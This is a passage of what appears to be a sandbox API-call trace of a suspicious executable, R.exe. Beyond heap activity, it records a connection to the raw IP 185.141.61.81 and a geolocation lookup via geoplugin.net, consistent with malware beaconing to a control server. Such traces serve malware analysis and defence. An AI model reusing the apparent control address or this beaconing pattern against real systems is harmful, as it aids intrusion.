out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x7a0) returned 0x81d8f8 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x7a0) returned 0x8213e8 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d8f8 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x770) returned 0x81d8f8 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d110 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x770) returned 0x80c868 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d8f8 | out: hHeap=0x7f0000) returned 1 [0030.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x48) returned 0x80fe78 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d110 | out: hHeap=0x7f0000) returned 1 [0030.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x805378 [0030.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x80fc60 [0030.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x8053c8 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80fe78 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x805378 | out: hHeap=0x7f0000) returned 1 [0030.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x770) returned 0x81d8f8 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80c868 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8053c8 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80fc60 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8213e8 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80bde8 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81e320 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819770 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807440 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81ee00 | out: hHeap=0x7f0000) returned 1 [0030.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807440 [0030.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x400) returned 0x819770 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819770 | out: hHeap=0x7f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807440 | out: hHeap=0x7f0000) returned 1 [0030.345] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x42f948 | out: lpWSAData=0x42f948) returned 0 [0030.349] GetEnvironmentStringsW () returned 0x80c288* [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xaca) returned 0x80cd60 [0030.349] FreeEnvironmentStringsW (penv=0x80c288) returned 1 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x98) returned 0x81a5a8 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x3e) returned 0x810d80 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x6c) returned 0x80fc60 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x6e) returned 0x81a688 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x78) returned 0x800fd0 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x62) returned 0x821f78 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2e) returned 0x81d148 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x48) returned 0x811f70 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x28) returned 0x813aa0 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1a) returned 0x807440 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4a) returned 0x816488 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x72) returned 0x8012d0 [0030.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x81d180 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2e) returned 0x81d1b8 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1c) returned 0x8072b0 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xd2) returned 0x81a0b0 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x7c) returned 0x81fc30 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x36) returned 0x8071c8 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x3a) returned 0x810cf0 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x90) returned 0x810a80 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x24) returned 0x81bb30 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x81d1f0 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x36) returned 0x81a190 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x48) returned 0x816350 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x52) returned 0x816758 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x3c) returned 0x810bd0 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x82) returned 0x8108f0 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2e) returned 0x81d228 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1e) returned 0x8077d8 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2c) returned 0x81d260 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x54) returned 0x8166f8 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x52) returned 0x816698 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2a) returned 0x81d298 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x3c) returned 0x810b88 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x54) returned 0x816638 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x24) returned 0x816218 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x81d2d0 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x8c) returned 0x81a998 [0030.350] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cd60 | out: hHeap=0x7f0000) returned 1 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807710 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807738 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807878 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x8077b0 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d340 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x47) returned 0x8160e0 [0030.350] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d340 | out: hHeap=0x7f0000) returned 1 [0030.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x81ae30 [0030.351] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8160e0 | out: hHeap=0x7f0000) returned 1 [0030.351] WSACreateEvent () returned 0x124 [0030.351] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7c [0030.352] gethostbyname (name="185.141.61.81") returned 0x81a650*(h_name="185.141.61.81", h_aliases=0x81a660*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x81a664*=([0]="185.141.61.81")) [0030.366] htons (hostshort=0x50) returned 0x5000 [0030.366] connect (s=0x7c, name=0x42f634*(sa_family=2, sin_port=0x50, sin_addr="185.141.61.81"), namelen=16) returned 0 [0030.406] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0030.406] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x811008 [0030.406] GetLastError () returned 0x0 [0030.406] SetLastError (dwErrCode=0x0) [0030.406] GetLastError () returned 0x0 [0030.406] SetLastError (dwErrCode=0x0) [0030.407] GetLastError () returned 0x0 [0030.407] SetLastError (dwErrCode=0x0) [0030.407] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0030.407] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x811050 [0030.407] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1a8 [0030.407] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x5f) returned 0x81b8e0 [0030.407] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x811050 | out: hHeap=0x7f0000) returned 1 [0030.407] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1a8 | out: hHeap=0x7f0000) returned 1 [0030.407] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8e) returned 0x80cc10 [0030.407] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b8e0 | out: hHeap=0x7f0000) returned 1 [0030.407] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x110) returned 0x80cca8 [0030.407] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cc10 | out: hHeap=0x7f0000) returned 1 [0030.407] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x197) returned 0x80cdc0 [0030.407] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cca8 | out: hHeap=0x7f0000) returned 1 [0030.407] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x262) returned 0x80cf60 [0030.407] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cdc0 | out: hHeap=0x7f0000) returned 1 [0030.407] send (s=0x7c, buf=0x80cf60*, len=414, flags=0) returned 414 [0030.407] Sleep (dwMilliseconds=0x32) [0030.465] WSARecv (in: s=0x7c, lpBuffers=0x42f624, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f62c, lpFlags=0x42f644*=0x0, lpOverlapped=0x42f610, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f624*=((len=0x1ff, buf=0x42f660*)), lpNumberOfBytesRecvd=0x42f62c*=0x0, lpFlags=0x42f644*=0x0, lpOverlapped=0x42f610) returned 0 [0030.465] WSAGetLastError () returned 997 [0030.465] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f630*=0x124, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.493] WSAResetEvent (hEvent=0x124) returned 1 [0030.493] WSAGetOverlappedResult (in: s=0x7c, lpOverlapped=0x42f610, lpcbTransfer=0x42f62c, fWait=0, lpdwFlags=0x42f644 | out: lpcbTransfer=0x42f62c, lpdwFlags=0x42f644) returned 1 [0030.493] WSARecv (in: s=0x7c, lpBuffers=0x42f624, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f62c, lpFlags=0x42f644*=0x0, lpOverlapped=0x42f610, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f624*=((len=0x1ff, buf=0x42f660*)), lpNumberOfBytesRecvd=0x42f62c*=0x0, lpFlags=0x42f644*=0x0, lpOverlapped=0x42f610) returned 0 [0030.493] WSAGetLastError () returned 997 [0030.493] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f630*=0x124, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.494] WSAResetEvent (hEvent=0x124) returned 1 [0030.494] WSAGetOverlappedResult (in: s=0x7c, lpOverlapped=0x42f610, lpcbTransfer=0x42f62c, fWait=0, lpdwFlags=0x42f644 | out: lpcbTransfer=0x42f62c, lpdwFlags=0x42f644) returned 1 [0030.494] WSAGetLastError () returned 0 [0030.494] WSASetEvent (hEvent=0x124) returned 1 [0030.494] WSACloseEvent (hEvent=0x124) returned 1 [0030.494] closesocket (s=0x7c) returned 0 [0030.495] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x811008 | out: hHeap=0x7f0000) returned 1 [0030.495] WSACleanup () returned 0 [0030.501] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0030.501] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0030.501] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0030.501] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0030.501] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d110 [0030.501] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0030.501] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0030.501] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0030.501] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d110 | out: hHeap=0x7f0000) returned 1 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d110 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f30 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f30 | out: hHeap=0x7f0000) returned 1 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d110 | out: hHeap=0x7f0000) returned 1 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807698 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d110 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807698 | out: hHeap=0x7f0000) returned 1 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d378 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d3b0 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d378 | out: hHeap=0x7f0000) returned 1 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807698 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807788 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807698 | out: hHeap=0x7f0000) returned 1 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d378 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0030.502] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807698 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807788 | out: hHeap=0x7f0000) returned 1 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d378 | out: hHeap=0x7f0000) returned 1 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d3b0 | out: hHeap=0x7f0000) returned 1 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d110 | out: hHeap=0x7f0000) returned 1 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0030.502] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0030.503] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81ae30 | out: hHeap=0x7f0000) returned 1 [0030.503] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8077b0 | out: hHeap=0x7f0000) returned 1 [0030.503] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807878 | out: hHeap=0x7f0000) returned 1 [0030.503] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807738 | out: hHeap=0x7f0000) returned 1 [0030.503] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0030.503] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807710 | out: hHeap=0x7f0000) returned 1 [0030.503] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cf60 | out: hHeap=0x7f0000) returned 1 [0030.503] GetStartupInfoW (in: lpStartupInfo=0x42fc64 | out: lpStartupInfo=0x42fc64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0030.503] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x42f420 | out: lpWSAData=0x42f420) returned 0 [0030.508] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807710 [0030.508] WSACreateEvent () returned 0x68 [0030.508] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x110 [0030.510] gethostbyname (name="www.geoplugin.net") returned 0x80bf40*(h_name="geoplugin.net", h_aliases=0x80bf50*=([0]="www.geoplugin.net"), h_addrtype=2, h_length=4, h_addr_list=0x80bf58*=([0]="178.237.33.50")) [0030.818] htons (hostshort=0x50) returned 0x5000 [0030.818] connect (s=0x110, name=0x42f17c*(sa_family=2, sin_port=0x50, sin_addr="178.237.33.50"), namelen=16) returned 0 [0030.840] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b068 [0030.840] GetLastError () returned 0x0 [0030.840] SetLastError (dwErrCode=0x0) [0030.840] GetLastError () returned 0x0 [0030.840] SetLastError (dwErrCode=0x0) [0030.841] GetLastError () returned 0x0 [0030.841] SetLastError (dwErrCode=0x0) [0030.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b068 | out: hHeap=0x7f0000) returned 1 [0030.841] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b068 [0030.841] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d3b0 [0030.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b068 | out: hHeap=0x7f0000) returned 1 [0030.841] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x47) returned 0x80be50 [0030.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d3b0 | out: hHeap=0x7f0000) returned 1 [0030.841] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x80f8f8 [0030.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80be50 | out: hHeap=0x7f0000) returned 1 [0030.841] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xe0) returned 0x81fb00 [0030.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80f8f8 | out: hHeap=0x7f0000) returned 1 [0030.841] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14f) returned 0x81b788 [0030.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81fb00 | out: hHeap=0x7f0000) returned 1 [0030.841] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1f6) returned 0x80d518 [0030.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b788 | out: hHeap=0x7f0000) returned 1 [0030.841] send (s=0x110, buf=0x80d518*, len=372, flags=0) returned 372 [0030.841] Sleep (dwMilliseconds=0x32) [0030.902] WSARecv (in: s=0x110, lpBuffers=0x42f16c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f174, lpFlags=0x42f18c*=0x0, lpOverlapped=0x42f158, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f16c*=((len=0x1ff, buf=0x42f1a8*)), lpNumberOfBytesRecvd=0x42f174*=0x1ff, lpFlags=0x42f18c*=0x0, lpOverlapped=0x42f158) returned 0 [0030.902] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f178*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.902] WSAResetEvent (hEvent=0x68) returned 1 [0030.902] WSAGetOverlappedResult (in: s=0x110, lpOverlapped=0x42f158, lpcbTransfer=0x42f174, fWait=0, lpdwFlags=0x42f18c | out: lpcbTransfer=0x42f174, lpdwFlags=0x42f18c) returned 1 [0030.902] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2f0) returned 0x80d718 [0030.902] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80d518 | out: hHeap=0x7f0000) returned 1 [0030.902] WSARecv (in: s=0x110, lpBuffers=0x42f16c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f174, lpFlags=0x42f18c*=0x0, lpOverlapped=0x42f158, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f16c*=((len=0x1ff, buf=0x42f1a8*)), lpNumberOfBytesRecvd=0x42f174*=0x1ff, lpFlags=0x42f18c*=0x0, lpOverlapped=0x42f158) returned 0 [0030.902] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f178*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.902] WSAResetEvent (hEvent=0x68) returned 1 [0030.902] WSAGetOverlappedResult (in: s=0x110, lpOverlapped=0x42f158, lpcbTransfer=0x42f174, fWait=0, lpdwFlags=0x42f18c | out: lpcbTransfer=0x42f174, lpdwFlags=0x42f18c) returned 1 [0030.902] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x467) returned 0x821fe8 [0030.902] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80d718 | out: hHeap=0x7f0000) returned 1 [0030.902] WSARecv (in: s=0x110, lpBuffers=0x42f16c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f174, lpFlags=0x42f18c*=0x0, lpOverlapped=0x42f158, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f16c*=((len=0x1ff, buf=0x42f1a8*)), lpNumberOfBytesRecvd=0x42f174*=0x66, lpFlags=0x42f18c*=0x0, lpOverlapped=0x42f158) returned 0 [0030.902] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f178*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.902] WSAResetEvent (hEvent=0x68) returned 1 [0030.902] WSAGetOverlappedResult (in: s=0x110, lpOverlapped=0x42f158, lpcbTransfer=0x42f174, fWait=0, lpdwFlags=0x42f18c | out: lpcbTransfer=0x42f174, lpdwFlags=0x42f18c) returned 1 [0030.902] WSARecv (in: s=0x110, lpBuffers=0x42f16c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f174, lpFlags=0x42f18c*=0x0, lpOverlapped=0x42f158, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f16c*=((len=0x1ff, buf=0x42f1a8*)), lpNumberOfBytesRecvd=0x42f174*=0x0, lpFlags=0x42f18c*=0x0, lpOverlapped=0x42f158) returned 0 [0030.903] WSAGetLastError () returned 997 [0030.903] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f178*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.991] WSAResetEvent (hEvent=0x68) returned 1 [0030.991] WSAGetOverlappedResult (in: s=0x110, lpOverlapped=0x42f158, lpcbTransfer=0x42f174, fWait=0, lpdwFlags=0x42f18c | out: lpcbTransfer=0x42f174, lpdwFlags=0x42f18c) returned 1 [0030.991] WSAGetLastError () returned 0 [0030.991] WSASetEvent (hEvent=0x68) returned 1 [0030.991] WSACloseEvent (hEvent=0x68) returned 1 [0030.991] closesocket (s=0x110) returned 0 [0030.992] WSACleanup () returned 0 [0030.997] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807710 | out: hHeap=0x7f0000) returned 1 [0030.997] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821fe8 | out: hHeap=0x7f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807710 [0030.997] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0030.997] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807760 [0030.997] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807738 [0030.997] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807738 | out: hHeap=0x7f0000) returned 1 [0030.997] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807760 | out: hHeap=0x7f0000) returned 1 [0030.997] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0030.997] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807710 | out: hHeap=0x7f0000) returned 1 [0030.997] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x42f408 | out: lpWSAData=0x42f408) returned 0 [0031.002] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807710 [0031.002] WSACreateEvent () returned 0x138 [0031.002] WSASocketA (af=2, type=1, protocol=6, 